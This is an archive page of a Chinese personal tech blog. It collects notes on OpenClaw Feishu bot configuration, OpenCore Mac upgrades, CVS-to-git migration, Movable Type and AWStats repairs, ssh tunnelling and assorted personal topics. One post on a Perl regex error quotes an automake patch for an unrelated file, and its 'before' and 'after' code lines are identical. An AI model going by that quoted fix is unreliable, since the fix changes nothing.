Blogs on 笔记 by 车东

openclaw配置飞书 channel 机器人通道多账号

Sun, 15 Feb 2026 15:20:58 +0800

创建飞书机器人：访问飞书开放平台 https://open.feishu.cn • 创建企业自建应用创建版本号1.0.1 • 获取 App ID 和 App Secret

cli_############## #####################

2. 配置 OpenClaw：添加飞书插件 • 在 OpenClaw 配置中添加飞书通道通过

openclaw channels add

完成，一个openclaw可以配置连接多个飞书账号：

"feishu": { // 全局默认设置（可被单账号覆盖） "enabled": true, "domain": "feishu", // 或 "lark"
     "accounts": {
       // 第一个机器人（主账号）
       "main": {
         "appId": "cli_a1b2c3d4",
         "appSecret": "wkEb...123",
         "botName": "主助手",
         "groupPolicy": "open"
       },
       // 第二个机器人（例如用于特定测试或部门）
       "test_bot": {
         "appId": "cli_x9y8z7w6",
         "appSecret": "abCd...456",
         "botName": "测试号",
         "dmPolicy": "allowlist", // 不同的权限策略
         "allowFrom": ["ou_..."]
       }</blockquote>
然后用openclaw channels list命令： ? OpenClaw 2026.2.14 (c1feda1) — I’m not magic—I’m just extremely persistent with retries and coping strategies.

使用Opencore patcher升级老款Macbook: Hacintosh

Fri, 09 Jan 2026 15:52:55 +0800

最新版本的Opencore Patcher下载，目前用的是2.4.1 大约700M的安装包。

下载安装后：会有这样一个界面，按照安装OpenCore ==> 创建USB安装盘 ==> 安装后的驱动更新这几个步骤进行系统升级：

安装主要以下几个步骤：

1 构建和OpenCore驱动到目标Mac设备上：操作选择macOS设备所在硬盘和EFI引导，

2 创建 macOS 安装程序到USB设备上：下载各种版本的macOS安装程序：

创建安装U盘：

3 启动 OpenCore 和 macOS：在启动过程中按住Alt键 在启动界面看到EFI引导选项，然后选择EFI引导，就会进入U盘引导模式+源系统磁盘引导的选项界面

如果启动过程中按空格，会有更多debug模式引导的选项

然后选择安装对应的macOS安装版本：目前最新的是Sequoia，Tahoe目前尚不支持。

安装后，启动有可能显示异常，非常卡顿网络无法连接的情况。

如果基于安装U盘的启动过程中经常：直接通过EFI启动到本地磁盘，然后直接运行U盘的安装程序也可以。通过EFI引导后：就不会有不支持当前硬件的提示。

4 安装后的驱动更新：运行post-install Root Patching，解决各种显示驱动，无线网卡驱动的问题

后记：系统升级后不要再用macOS的系统更新

MacOS的系统配置：通用 ==> 软件更新禁用头两个自动更新选项：下载可用更新和安装可用更新

避免引导区被更新版本的OS改写导致无法patch当前版本新的驱动。

如果万一系统自动安装升级了：会导致OCLP会无法进行post install root patch和更新驱动

- Starting Patch Process - Determining Required Patch set for Darwin 24 Pulling metallib list from MetallibSupportPkg API Direct match found for 24G419 (15.7.3) metallib already installed (15.7.3-24G419), skipping - Verifying whether Root Patching possible - Patcher is capable of patching - Local PatcherSupportPkg resources available, continuing... - Running sanity checks before patching - SystemVersion.plist build version mismatch: found 26.2 (25C56), expected 15.7.3 (24G419) An update is in progress on your machine and patching cannot continue until it is cancelled or finished - Unmounting root volume - Failed sanity checks, cannot continue with patching!!! - Please ensure that you do not have any updates pending

解决办法：在OCLP的post install root patch里，选择revert root patch 重启后： OCLP会提示重新patch 重新运行post install root patch后再重启就可以了

迁移SF上的项目：从cvs到git 通过cvs-fast-export

Wed, 07 Jan 2026 14:19:58 +0800

根据SF官方文档的介绍： https://sourceforge.net/p/forge/documentation/CVS/ 把CVS项目转换到git需要用cvs2svn项目中的cvs2git，但实际上这个需要Python2 而自己的MacBook上已经都是python3了：会遇到错误信息：

brew install cvs2svn Warning: No available formula with the name "cvs2svn". ==> Searching for similarly named formulae and casks... Error: No formulae or casks found for cvs2svn.

install cvs2svn Defaulting to user installation because normal site-packages is not writeable ERROR: Could not find a version that satisfies the requirement cvs2svn (from versions: none) ERROR: No matching distribution found for cvs2svn
错误: cvs2git 无法运行请检查 Python 3 是否已安装: python3 –version

Movable Type 3.3 字符集乱码故障修复记录：

Tue, 16 Dec 2025 11:59:14 +0800

一、故障背景

站点运行于 **Movable Type 3.3**，历史跨度较长（十年以上）。在升级服务器环境（Perl 5.3 + 新版 MySQL / MariaDB）后，发现：

文章标题、分类、评论、TrackBack 出现乱码（如：å®‰è£…ç¬”è®°）
数据库表字符集显示为 utf8 / utf8mb3，但内容明显异常
后台管理界面：界面菜单正常，但博客各种内容部分都受中文乱码影响

二、问题本质分析（核心结论）

这是一个**经典的历史字符集问题**：

早期 MT 3.x + MySQL 常以 latin1 方式写入数据
实际内容是 UTF-8（甚至混有 GBK / GB2312）
后期 MySQL / Perl 按 UTF-8 读取，导致“UTF-8 被当 latin1 再显示”

**修复原则：**

不修改程序逻辑：尝试修改mt-config.cgi中配置增加

DBIParams mysql_enable_utf8=0

是没有用的，改用ObjectDriver DBI::MariaDB 但Movable Type 3.3根本不支持MariaDB驱动。

Got an error: Unsupported driver MT::ObjectDriver::DBI::MariaDB: Can't locate MT/ObjectDriver/DBI/MariaDB.pm in @INC (you may need to install the MT::ObjectDriver::DBI::MariaDB module) (@INC contains: /home/path/to/cgi-bin/mt/extlib lib /etc/perl /usr/local/lib/x86_64-linux-gnu/perl/5.34.0 /usr/local/share/perl/5.34.0 /usr/lib/x86_64-linux-gnu/perl5/5.34 /usr/share/perl5 /usr/lib/x86_64-linux-gnu/perl-base /usr/lib/x86_64-linux-gnu/perl/5.34 /usr/share/perl/5.34 /usr/local/lib/site_perl) at (eval 8) line 1. BEGIN failed--compilation aborted at (eval 8) line 1.

不整体强制转换数据库字符集
仅针对“人类可读字段”做字节级修复
修复前使用mysqldump或者phpmyadmin的工具备份数据库：mysqldump database_of_mt > mt_entry.bak.sql

四、通用修复方案（核心 SQL 模式）

**统一采用以下安全转换模式：**

几种Wiki文档系统比较：Teambition thoughts 语雀 Notion GitHubWiki Confluence

Sun, 08 Mar 2020 23:35:23 +0800

Confluence已经不是一个非常好的wiki文档模式了，多个人同时写一篇wiki已然是非常容易产生冲突。而Teambition thoughts这样的工具又和石墨没什么区别，而且最重要的文档和文档之间很容易变成孤岛。

相对来说：语雀的效果就不错：结合目录管理和协同的文档，表格管理等，而且还支持从confluence备份整体导入。

Notion 估计是商业组合软件里面模板做得最好的。

最简单的是：直接使用Github内置的：Github Wiki 功能，用markdown语法编写；

Perl 5.22以后的语法更新：Unescaped left brace in regex is illegal here in regex; marked by <-- HERE in m/\"%{ <-- HERE Referer}i\"/ at ./awstats.pl line 9045.

Thu, 04 Jul 2019 00:11:04 +0800

虚拟主机的操作系统升级后，perl的版本也升级到了5.26.x，awstats的统计中断了，从后台的错误信息：

Unescaped left brace in regex is illegal here in regex; marked by <-- HERE in m/\"%{ <-- HERE Referer}i\"/ at ./awstats.pl line 9045.

查了一下，此类信息应该是从5.22开始的： As written by @Leobaillard you can use his patch. If you want to fix this with your editor (vi) you can go to line 3936 and make the following changes $ vi buildroot/output/host/usr/bin/automake goto line :3936 and change $text =~ s/${([^ \t=:+{}]+)}/substitute_ac_subst_variables_worker ($1)/ge; to $text =~ s/${([^ \t=:+{}]+)}/substitute_ac_subst_variables_worker ($1)/ge; The error is with automake and perl v5.26.

免费版StatPlus在Mac Excel 2016 v16以上版本集成菜单安装：Excel 加载项 ==> 启用StatPlusMacAddin

Wed, 20 Feb 2019 21:41:32 +0800

上门课要用Excel的分析插件，但Excel Mac版缺省没有：需要安装AnalystSoft的StatPlus插件。标准的安装步骤如下：可以启用相应的Excel集成菜单。 1 从官网下载StatPlus for Mac安装包并解包； 2 移动StatPlus到“应用程序”并打开StatPlus； 3 从StatPlus的菜单中选取SpreadSheet并启用Excel菜单集成模式：

低版本的Excel（包括Microsoft Office Excel 2011 2013 2016 v15及以下）会重启Excel并显示集成菜单：

但如果Excel是2016 v16版本以上（包括Excel 2019）则会收到以下提示：

Latest Excel 2016 versions (v16+) require additional step to enable StatPlus integration. Please follow the 'Integration with Excel 2016 v16' steps from the registration letter or contact us if you have any questions.

其实注册邮件里面根本没有任何关于v16+的提示，官网也上没有任何关于[Excel 2016 v16版本如何启用Excel菜单集成](http://download.analystsoft.com/workaround_excel2016mac_16.pdf)的帮助入口：通过在线帮助提交问题会收到一个手动启用操作方法的回复，按提示在Excel 2016 v16.22上安装设置验证如下：

启动Excel集成菜单步骤：打开Excel ==> 工具 ==> Excel 加载项 ==> 手动启用✔️StatPlusMacAddin模块然后再次重启就可以在Excel的菜单中看到StatPlus工具栏了：

浏览器中丢失referrer和HTTPS=>HTTP丢失referer的解决：基于会话的站内来源地址URL还原

Fri, 08 Dec 2017 20:35:23 +0800

Referer丢了会导致很多来源分析就做不了了，以前referer丢失来源有三种： 0 代码因素：一些js构造链接打开的模式会造成referer丢失，解决方法是尽量避免windows.open meta refresh等； 1 代码+浏览器因素：meta js打开新窗口部分浏览器会丢失 2 协议因素：https协议降级http，解决的方法是靠https端增加声明，比如：通过meta的方式：referer meta

目前搜索引擎https后的页面：Google用的是orgin 百度用的always 或者通过http header的方式，总体来说，这些问题是可以通过代码修复的。

现在有多了几种：主要来自多核浏览器使用率的增加。 3 多核浏览器切换内核/隐私浏览模式，部分第三方浏览器版本会丢referer，360支持renderer 标签，可以强制使用某种内核进行页面渲染，比如：webkit。 4 浏览器的各种鼠标手势等高级功能，会丢失referer， 5 来自移动app：微信微博的点击；

从实际的项目来看，需要修补referer丢失的环节太多，开发测试量也很大（尤其加上浏览器因素后），更简单的方法是需要通过服务端设置会话cookie，然后通过日志分析系统：跟踪同一个cookie的访问路径进行完整路径的模拟还原。

搜索引擎来路关键词的挖掘：百度统计的高级分析报告导出获取来源关键词

Sat, 02 Sep 2017 20:41:30 +0800

简单的说就是买百度统计的高级分析，然后用关键词维度组合其他访问属性导出报告。

n年没有接触SEO了，最近发现现在的搜索引擎优化已经和以前完全不一样了。自从各大搜索引擎（Google2011年，百度2015年）https化以后，网站获得自己的搜索来源关键词都变得非常的麻烦，最近几年百度/Google等搜索引擎已经全面取消referer中的关键词传递，除了搜索自身的网站，实时拿到用户搜索来源关键词基本不可能了。

通过https+取消referer中的关键词传递，可以有效避免电信运营商劫持流量获取用户搜索行为，但本来应该得到用户搜索意图信息的目标网站也失去了这个便利。如果搜索来源关键词量很大，网站使用百度统计的网站可以通过百度统计的“预定全部关键词”功能来全部导出（百度统计各种前端报表导出一般只能导出1000）数据可以隔天拿到：全部关键词和对应的搜索次数的关键词下载包，需要每天手工下载，百度统计的api目前不支持压缩包的下载。

百度6月份推出了一个高级分析功能，是的：收费，根据网站流量价格1万-5万/年，完整拿到每天百万级的来源关键词/URL/PV/UV/转换等维度的组合报告，这个价格还是非常值的。

百度云还有两外一个收费服务：1￥/千次实时解析referer中的百度关键词：搜索Referer API。

简单介绍一下获取关键词和落地页的方案：以CSDN的数据为例。

都在实时分析中增加相应维度然后存成报告，之后就可以定期手工导出了（希望百度能尽快提供导出接口下载功能）。实时分析是抽样的（根据网站的访问量，过去7天或者过去30天的可能只有个位的抽样），不用太纠结于实时分析的全面，确定维度定制成报告后就可以对全量数据进行导出了。

首先是搜索来源关键词/受访页面，以及对应的PV/UV/停留时间，后续访问量报告，这些属性可以用于对页面质量进行评价。

另一个常用报告样例是来源关键词+入口页+转换统计：注意转换相关指标和受访页面/PV/UV这类指标不可以同时使用。转换相关属性只对应入口页。

使用高级可以很多维度导出用户访问数据，但要还原用户完整的访问会话， keyword landing_url映射可以得到了，结合自定义维度功能利用日志映射到用户也是有可能的。

最希望百度统计统计提供的是直接将原始日志直接能ping到百度云或者其他第三方云服务上直接进行数据的清洗，用户画像，用于内容的个性化特征挖掘和广告推荐。

Mac下处理PC以^M结尾的文本

Tue, 06 Jun 2017 14:16:36 +0800

awk -v RS=’\r\n’ foo.log

Unix 用\n行末结尾 Mac 用\r行末结尾 PC 用 \r\n行末结尾

参考： https://stackoverflow.com/questions/13069905/awk-print-is-adding-a-control-m-character-at-end-of-line#comment17754368_13069905 The record separator is automatically set to the line-ending of the current system, LF (\n) on the Unix-based systems, CR-LF (\r\n) on MS systems and CR (\r) on Mac OS prior to Mac OS X.

特殊字符Ctrl-A Ctrl-B Ctrl-C Ctrl-D Ctrl-E Ctrl-F分隔符在awk中的输入

Mon, 05 Jun 2017 21:45:23 +0800

遇到Contral-A ^A的分隔符： awk -F ‘\1’ ‘{print $1,$3}’ foo.log

awk ‘{print “\001\002\3\4\005\06\07”}’ bar.log |more

会得到： ^A^B^C^D^E^F^G ^A^B^C^D^E^F^G

参考： https://stackoverflow.com/questions/19227926/awk-doesnt-work-on-first-row-delimited-by-a

iPhone照片的云端备份和本地移动硬盘备份策略

Tue, 31 Jan 2017 22:16:47 +0800

每年春节是整理收集的时间，除了微信需要清理一次之外，积攒了一年的照片也占用了十几 G 的空间。我忽然发现自己已经很久没有用电脑归档自己的照片了，可以用云端的都直接同步到云端了。只是最近腾讯微云和百度云都开始限制免费用户：微云限制了10G，百度限制了上传。360的云服务则彻底关闭了。

经过一晚上的整理，我将自己云端，本地备份策略整理如下：

手机到PC/Mac的导入：手机 ==> PC 导入：Windows 缺省的iTunes照片服务会将照片按照 YYYY-MM 格式导入到照片目录下。手机 ==> Mac 导入：直接使用 Mac 的照片服务导入，全部导入，有以前导入过的

如果想清空手机空间：以上两个导入都有删除手机上的副本的选项。

PC/Mac上的本地移动硬盘备份：经过几年积累，PC/Mac 上也会没有足够空间存放，还是需要本地移动硬盘归档。 PC 直接把目录移动到移动硬盘上即可，Mac 上则是使用照片的导出功能，Mac 上的照片导出时候会有选项按照事件生成目录：这个还是非常有必要的，只是生成的目录是按照 “地点-时间”命名的，不知道有没有选项可以按照“时间-地点”命名：这样有没有事件地点的目录名就可以统一排序了。

PC/Mac 上的云端备份：百度云同步盘（不是百度网盘：云同步盘的客户端已经停止维护，比较难找到下载入口）微云限制了100G，不付费已经不能继续上传了，超标的部分暂时还可以用。百度云盘则显示了单次上传的文件数量不能超过500个，如果一个月内的照片超过500，上传一个月的目录的话就非常麻烦了。

比较方便的还是使用百度云同步盘：同步是目前没有文件数量和流量的限制。空间上限2T。

建议将照片归档目录直接设置成百度云同步盘的同步目录：而将另外一个完整归档的目录设置不同步到本地

我的照片[同步] |—-2015-12 |—-2016-01 |—-2016-02 |—-… 照片归档[不同步]

平时不定期导入照片后，开机就同步到云端了，需要腾出本地空间，将YYYY-MM 目录从云端移动到照片归档目录，本地再同步就删除了。

5miles：挑战Craiglist的海外C2C平台找BI工程师

Wed, 27 Jan 2016 14:17:14 +0800

岗位需求：BI工程师

公司名称：第三石科技发展有限公司业务方向：无线互联网的C2C电商平台建模方向：商品推荐，用户积分平衡体系、无线互联网用户行为分析要求：研究生，熟悉机器学习，熟悉概率统计，有日志分析经验者优先素质：非常聪明（因为和你一起工作的人都是geek），善于学习，非常敏锐，善于总结

联系方式：geek@wespoke.com

美国旧金山：租车被拖走了怎么办找AutoReturn (415) 865 8200

Sun, 17 Jan 2016 14:06:51 +0800

如果你看到这篇文章说不定车已经被拖走了，根据旧金山的公共交通管理局的介绍，发现被拖走后：请即刻拨打电话+1 415.865.8200 并提供牌照（租车的话，一般钥匙上有）和驾照号码，被拖走的地点和时间。

拖车和保管费：Towing Fees Towing fee (passenger vehicles): $491.25 First 4 hours of storage: free First day after first 4 hours of storage: $58.50 First day after 24 hours, and each day thereafter: $68.25 Transferring vehicle to long-term lot: $27.75

罚款会放在雨刮器上： https://www.sfmta.com/paycitation 在网上可以缴纳罚款（但还尚未成功缴纳）或者邮寄支票。

教训：把车停在位于车库出口附近的路边，但离出口道牙不够远。去找车的时候，有人正在打电话投诉刚刚停在那里的其他车辆。还好距离AutoReturn很近，走路即可到达：AutoReturn还是旁边小店的服务员告诉我们在哪里的。差点当时就要再去租一辆，想着如果租不到车，这个下雨的晚上就得住在旧金山了……去旧金山城里还是尽量少开车，Uber很方便，以后可以考虑停在郊区附近的停车场。还有就是使用ParkMe预约或者 https://www.parkinsf.com/street-parking 这样的服务。有一天10$-40$的停车场。

参考： http://ww2.kqed.org/news/2015/06/02/why-is-towing-so-expensive-in-san-francisco

北京地区美国B1/B2十年签证免面试续签流程 2025年12月份更新

Sat, 25 Oct 2014 21:19:41 +0800

适用于 **北京地区递交**、且 **符合免面试（Interview Waiver）条件** 的美国 B1/B2 十年签证续签申请人。

一、官方参考链接

[美国 B1/B2 免面试续签官方说明](https://www.ustraveldocs.com/cn/zh/renew-visa)
[中文电码查询](https://chinesecommercialcode.net)

二、详细办理流程

Step 1｜准备签证照片

规格：51mm × 51mm
必须为 6 个月内近照
不可与历史照片重复（系统会做人脸识别）
准备电子版 + 打印 1 张纸质照片

材料：(1)

Step 2｜注册并登录签证系统

[美国签证预约系统](https://www.usvisascheduling.com/zh-CN/)
注册时跳转至：https://atlasauth.b2clogin.com/
登录后选择“新的签证申请 / 续签”，填写 Renew 信息

Step 3｜填写 DS-160 并缴费

[填写 DS-160](https://ceac.state.gov/genniv/)，地点选 Beijing
打印 DS-160 确认页（AA 开头编号）→ (2)
缴费并打印成功页面 → (3)
填写免面试问卷，全部选 Yes → (4)

Step 4｜中信银行递交材料

(1) 照片
(2) DS-160 确认页
(3) 缴费页面
(4) 免面试确认页
护照（含旧签证）

推荐地点：中信银行北京分行（富华大厦）

算法分析师2名: 无线互联网的海外电商平台要聪明

Sat, 23 Aug 2014 01:11:57 +0800

替卢亮发招聘启示,岗位需求：算法分析师2名

公司名称：第三石科技发展有限公司业务方向：无线互联网的电商平台建模方向：商品推荐，用户积分平衡体系、无线互联网用户行为分析要求：研究生，熟悉机器学习，熟悉概率统计，有日志分析经验者优先素质：非常聪明（因为和你一起工作的人都是geek），善于学习，非常敏锐，善于总结

联系方式：geek@wespoke.com

猜猜“第三石”是哪儿？

相似度对比的两种计算算法：Jaccard similarity相似性系数和Ochiai coefficient落和系数

Mon, 09 Sep 2013 18:23:25 +0800

Jaccard coefficient： A,B分别代表符合某种条件的集合：两个集合交集的大小/两个集合并集的大小，交集=并集意味着2个集合完全重合。

Ochiai coefficient: A,B分别代表符合某种条件的集合：两个集合的交集大小/两个集合大小的几何平均值。是余弦相似性的一种形式。

ssh: sys_tun_open: /dev/tun0 open failed: No such file or directory 问题的解决

Tue, 05 Feb 2013 15:37:01 +0800

记录一下纪念浪费的3个小时，在新的Mac上发现之前的tunnel脚本都不能用了，总是提示错误： …. sys_tun_open: /dev/tun0 open failed: No such file or directory …. Tunnel device open failed… Could not request tunnel forwarding…

对照了之前的笔记本，发现原来是不必要的把 /etc/ssh_config 里这行启用了： Tunnel yes

恢复成初始设置后恢复：

Tunnel no

ssh_config的说明

Tunnel  Request tun(4) device forwarding between the client and the server.  The
argument must be “yes”, “point-to-point” (layer 3), “ethernet” (layer 2), or
“no”.  Specifying “yes” requests the default tunnel mode, which is
“point-to-point”.  The default is “no”.

💬 历史评论

以下 1 条评论从旧版 Movable Type 博客迁移而来。原始评论时间：2002–2016 年。

Mac OSX上的ssh tunnel 代理设置备忘ssh -i /path/to/key -D 1080 -C -N remoteuser@remote.host

Sat, 22 Dec 2012 16:41:07 +0800

最简单的是打开终端，然后直接用命令行： ssh -i /path/to/key -D 1080 -C -N remoteuser@remote.host

-D 设置动态转发端口号； -C 启用压缩； -N 不执行远程shell命令(ssh2支持)，登录后不会有提示行； -i 优先使用秘钥key 而不是密码；

；然后就可以[设置应用通过代理](http://www.chedong.com/blog/archives/001246.html)访问了；

另外有个带GUI界面的工具：ssh tunnel manager

结合ssh key agent可以自动载入key和转发

sudo ssh-add -K /path/to/key

修改：sudo vi /etc/ssh_config

ForwardAgent yes IdentityFile /path/to/key

iPhone 4/4s遗失/5s丢失后的手机定位找回：怎样使用iCloud的“查找iPhone”

Sat, 05 May 2012 19:26:29 +0800

查找：前提是你已经申请了AppleID并在iphone 4以上的设备启用了“查找我的iPhone”服务（相关设置位于：设置 ==> iCloud ==> 查找我的 iPhone），在手机上启用后相应的设备就处于可跟踪状态了；

出现遗失情况后：用PC或者Mac上用浏览器访问iCloud(mobileme) 并用丢失设备上绑定的AppleID登录，或者在其他的iOS上安装“查找我的iPhone”应用；

就可以查找到相应设备的地图：就可以查找到相应设备的地图，能精确到10米以内；在iOS 5的查找我的iPhone地图定位的问题：在中国国内的问题是地图定位有问题，坐标是严重偏移错误的；可以从混合模式的显示中看出来，卫星地图为正确坐标，但标准模式的地图是有偏移。解决办法：记住卫星地图的位置，然后平移地图的标准模式的坐标找到街区地名；根据个人经验：卫星地图的位置（准确位置）相对于电子地图偏移量大约是向东500米再向北100米。

[更新：2012-10] iOS6升级后，在中国大陆地图缺省地图引擎为高德地图，在查找我的iPhone应用中卫星和标准地图的坐标已经一致了，但变得都有偏移。所以需要先打开另外一个“地图”应用定位当前位置，然后对照“查找我的iPhone”应用中的当前位置，纠错后再进行查找；比如自己另外一台iOS设备中地图应用的当前位置（正确坐标）

同一时刻这台iOS设备的“查找我的iPhone”应用中的地图地址（坐标有偏移：正确位置应为向东500米再向北100米处）

对“Where is my iPhone”的改进建议： 1 同时显示当前设备和遗失设备的坐标，这样即使有偏移，也能通过相对位置及时发现； 2 远程关闭遗失设备的3G：使用2G网络可以让遗失设备的电池坚持更长的时间； 3 远程启动设备的照相/闪光灯并传回照片：方便定位周围环境； 4 允許复制地图的坐标和启动其他导航软件查找相应位置； 5 远程锁屏后输错密码：自动照相并上传iCloud（360手机助手的功能）； 6 允许升级密码到复杂密码；

Where is my iPhone的说明：

如果您的 iPhone、iPad、iPod touch 或 Mac 找不到了，您可以用“查找我的 iPhone” App 使用其他 iOS 设备找到它并保护您的数据。您只需在另一个 iOS 设备上安装此免费 App，打开它并使用您的 Apple ID 登录。“查找我的 iPhone” 将会帮助您在地图上找到您丢失的设备、播放声音、显示信息、远程锁住设备或者删除其中的所有数据。
如果您正在寻找的 iPhone、iPad 或 iPod touch 运行 iOS 6 或更高版本，“查找我的 iPhone”还包含丢失模式。丢失模式用一个 4 位数密码锁住您丢失的设备，并可以在锁住的屏幕上显示一个联系电话号码。在处于丢失模式时，您的设备将会保持跟踪其所到之处，并在您使用 “查找我的 iPhone” App 查看时显示其最近的位置记录。

AWStats 配置更新： Unknown encoding 'GB18030' at plugins/decodeutfkeys.pm和JikeSpider

Tue, 14 Feb 2012 22:44:42 +0800

之前的中文语言包awstats-cn.txt中有个问题：载入detect utf-8插件后，会出现 Unknown encoding ‘GB18030’ at plugins/decodeutfkeys.pm 并导致来源关键词统计显示不全； Perl的版本是5.10.1

修改： diff -r1.12 awstats-cn.txt 3c3 < PageCode=GB18030

PageCode=GBK

另外：即刻搜索引擎的蜘蛛也开始行动了，扩展统计配置附后；

ExtraSectionName11=“JikeSpider crawls - Top 50” ExtraSectionCodeFilter11=“200 304” ExtraSectionCondition11=“UA,(.Jike.)” ExtraSectionFirstColumnValues11=“URL,(.*)” ExtraSectionFirstColumnFormat11="%s" ExtraSectionStatTypes11=PHBL ExtraSectionAddAverageRow11=0 ExtraSectionAddSumRow11=10 MaxNbOfExtra11=50 MinHitExtra11=1

电脑屏幕分辨率分布统计（基于CNZZ统计数字） 2012-03 更新

Fri, 07 Jan 2011 18:28:05 +0800

利用[2011年12月的数据](http://data.cnzz.com/main.php?s=resolve&uv=&st=2011-12-01&et=2011-12-31)：预期年终主流浏览器分辨率是1366？

![](http://www.chedong.com/blog/archives/2012/03/22/screen_size_cnzz_2012-03.png)

[http://data.cnzz.com/main.php?s=resolve](http://data.cnzz.com/main.php?s=resolve)

[http://data.cnzz.com/main.php?s=resolve](http://data.cnzz.com/main.php?s=resolve)[![](http://www.chedong.com/blog/archives/2011/01/07/2011-01-07_181715.png)](http://data.cnzz.com/main.php?s=resolve)

1024x已经低于40%；
疑问： 1366x 增加最多？
疑问： 800x 略有增加？
2010年12月份的其他分辨率的量为0%， 2009年还有5.9%；

按宽度汇总的分布：统计如下

分辨率	2009年12月	2010年12月	变化量
1024x	46.5%	39.3%	-7.2%
1280x	21.4%	23.7%	2.3%
1440x	15.2%	18.3%	3.1%
1366x	2.6%	9.1%	6.4%
1680x	3.5%	4.4%	1.0%
1152x	3.1%	3.2%	0.1%
800x	1.9%	2.1%	0.2%

简单预测一下到今年年底各种屏幕分辨率份额的数据：

分辨率	2009年12月	2010年12月	变化量	2011年12月（预测）	变化量
1024x768	46.5%	39.3%	-7.2%	30.4%	-9.0%
1440x900	15.2%	18.3%	3.1%	20.2%	1.9%
1280x800	11.4%	12.3%	0.9%	12.5%	0.2%
1366x768	2.6%	9.1%	6.4%	14.6%	5.6%
1280x1024	5.9%	6.6%	0.7%	6.9%	0.3%
1680x1050	3.5%	4.4%	1.0%	5.1%	0.7%
1152x864	3.1%	3.2%	0.1%	3.1%	-0.1%
1280x768	2.4%	2.9%	0.5%	3.2%	0.3%
800x600	1.9%	2.1%	0.2%	2.1%	0.1%
1280x960	1.6%	1.8%	0.2%	2.0%	0.1%

又到一年校招时：校园用户使用的招聘类网站对比

Fri, 29 Oct 2010 20:16:22 +0800

最近搜狗在进行校园招聘，面试过程中对北京IT类应届生对招聘类网站的需求也做了一些调查。应届生中的典型使用情景是这样的：

搜集：应届生网站搜集各种面试经验/消息；订阅：利用过来人订阅感兴趣的公司面试消息（手机订阅）；提交：在各种招聘类网站中中华英才的校招平台最受重视，因为很多公司的校招平台都用的是中华英才的，但是各种求职网站校招简历和社招简历需要分别提交也是很明显的问题；分享：本校的BBS论坛，北京地区IT类里面：北邮人，水木都非常火爆，各种BBS也是其他面试的学生面试前参考信息源；

总体来说：我觉得校招的效率不是很高，应届生如果能在上学实习过程中逐步明确自己未来的工作领域/意向，然后有针对性向意向公司投递获得面试机会会比校招获得的面试机会要好很多，校招面试的通过率很低，可能和面试人意向较分散也有关系；

💬 历史评论

以下 3 条评论从旧版 Movable Type 博客迁移而来。原始评论时间：2002–2016 年。

ShowsCAI · 2010-12-18 00:06

好像是排名最高的独立博客了。。。

**瞳摄影 ** · 2011-05-20 14:07

虽然我没有调查过，但是经过校园招聘的我深有体会，很多本科生仗着学历在“精挑细选”，所以，不是没有工作，是看不上工作。

车跃跃 · 2011-06-29 11:49

是因为要回答你回复邮件里的问题，在网上搜集相关雅虎通相关信息的时候，竟然搜到了你的博客。

MT上“Name "Locale::Maketext::Lexicon" used only once:” 问题的解决：改用Perl内置函数库

Sun, 01 Aug 2010 17:44:16 +0800

最近从服务器日志中经常发现MT的错误日志： Name “Locale::Maketext::Lexicon” used only once: possible typo at …/extlib/Locale/Maketext.pm line 653.,….

解决方法：删除 mt/extlib/目录下的I18N/ 和 Locale/ 目录即可；

原因：服务器上已经升级到Perl 5.10.x了：很多国际化字符集方面的支持直接使用Perl内置的支持包即可。 [chedong@titans ~/logs/chedong.com/http]$ perl -v

This is perl, v5.10.0 built for x86_64-linux-gnu-thread-multi
Copyright 1987-2007, Larry Wall

Perl may be copied only under the terms of either the Artistic License or the GNU General Public License, which may be found in the Perl 5 source kit.

Complete documentation for Perl, including FAQ lists, should be found on this system using “man perl” or “perldoc perl”. If you have access to the Internet, point your browser at http://www.perl.org/, the Perl Home Page.

如何确定抽样统计的最小样本量（附：随机抽样统计的抽样误差Excel计算表格）

Sat, 17 Jul 2010 23:04:14 +0800

在电视节目中经常看到关于选举的报道中经常会后有支持率的数字，例如：调查结果为

a方支持率为45.3%；
b方支持率为30.2%；
c方支持率为8.5%；
...

最后都会说明一下，此次电话调查的数量2352，置信度为95%﹐最大抽样误差为±2.5%。

抽样调查的典型情景：对一个大的集合（比如：数千万选民）做一次调查的成本较高，抽样调查可以低成本的用近似的（可接受的）数据反映实际情况；在用户调研中，也经常通过通过抽样调查的方式并对比打分的方法做评估。这里就需要了解置信度和抽样误差的概念；

抽样误差：假如相同规模的抽样调查进行多次，抽样均值在真实均值的上下波动，相对于整体均值的偏移波动就是抽样误差，而这个误差的分布是符合[标准正态分布](http://zh.wikipedia.org/zh-cn/%E6%A0%87%E5%87%86%E6%AD%A3%E6%80%81%E5%88%86%E5%B8%83)的，例如下图：横轴为整体的均值，圆点是每次抽样的均值，而红色那次抽样就是加上误差后都未覆盖到均值线的情况）；

[![](http://www.chedong.com/blog/archives/2010/07/17/normal_distribution.png)](http://t.sina.com.cn/1250608490)

最小抽样量的计算公式：抽样量需要 > 30个才算足够多，可以用以下近似的误差/样本量估算公式； [![](http://latex.codecogs.com/png.latex?%5Cfn_jvn%20%5C120dpi%20n%5Capprox%5Cfrac%7B%28%7Bz_%7B%5Calpha%20/2%7D%7D%29%5E%7B2%7D%7B%5Csigma%7D%5E2%7D%7BE%5E2%7D)](http://www.codecogs.com/eqnedit.php?latex=%5Cfn_jvn%20%5C120dpi%20n=%5Cfrac%7B%28%7Bz_%7B%5Calpha%20/2%7D%7D%29%5E%7B2%7D%7B%5Csigma%7D%5E2%7D%7BE%5E2%7D) n：为样本量； [![\fn_jvn \120dpi {\sigma}^2](http://latex.codecogs.com/png.latex?%5Cfn_jvn%20%5C120dpi%20%7B%5Csigma%7D%5E2)](http://www.codecogs.com/eqnedit.php?latex=%5Cfn_jvn%20%5C120dpi%20%7B%5Csigma%7D%5E2)：[方差](http://zh.wikipedia.org/zh-cn/%E6%96%B9%E5%B7%AE)，抽样个体值和整体均值之间的偏离程度，抽样数值分布越分散方差越大，需要的采样量越多； E：为抽样误差（可以根据均值的百分比设定），由于是倒数平方关系，抽样误差减小为1/2，抽样量需要增加为4倍； [![\fn_jvn \120dpi ^{z_{\alpha/2}}](http://latex.codecogs.com/png.latex?%5Cfn_jvn%20%5C120dpi%20%5E%7Bz_%7B%5Calpha/2%7D%7D)](http://www.codecogs.com/eqnedit.php?latex=%5Cfn_jvn%20%5C120dpi%20%5E%7Bz_%7B%5Calpha/2%7D%7D): 为可靠性系数，即置信度，置信度为95%时，[![\fn_jvn \120dpi 